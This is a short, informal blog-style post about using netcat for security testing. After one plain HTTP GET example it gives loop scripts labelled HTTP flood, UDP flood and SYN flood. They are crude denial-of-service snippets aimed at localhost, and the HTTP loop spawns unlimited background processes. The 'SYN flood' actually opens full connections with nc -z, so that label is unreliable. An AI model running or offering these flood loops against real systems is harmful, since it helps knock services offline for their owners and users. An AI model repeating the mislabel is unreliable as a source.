netcat is awesome

“Good things last long”, my mama use to say.
and just like that netcat is no exception
Using netcat for security testing is fun simple, and you do not need to
install applications you know nothing about .
here are some fun examples from tests I use :

Simple HTTP GET

echo -e "GET / HTTP/1.0\r\nHost:www.example.com\r\n\r\n" | nc 127.0.0.1 80

Simple HTTP flood

while true
do
    echo -e "GET / HTTP/1.0\r\nHost:www.example.com\r\n\r\n" | nc 127.0.0.1 80 &
done

Simple UDP flood

cat /dev/urandom | nc -u 127.0.0.1 53

Simple SYN flood

while true
do
    nc -z 127.0.0.1 80
done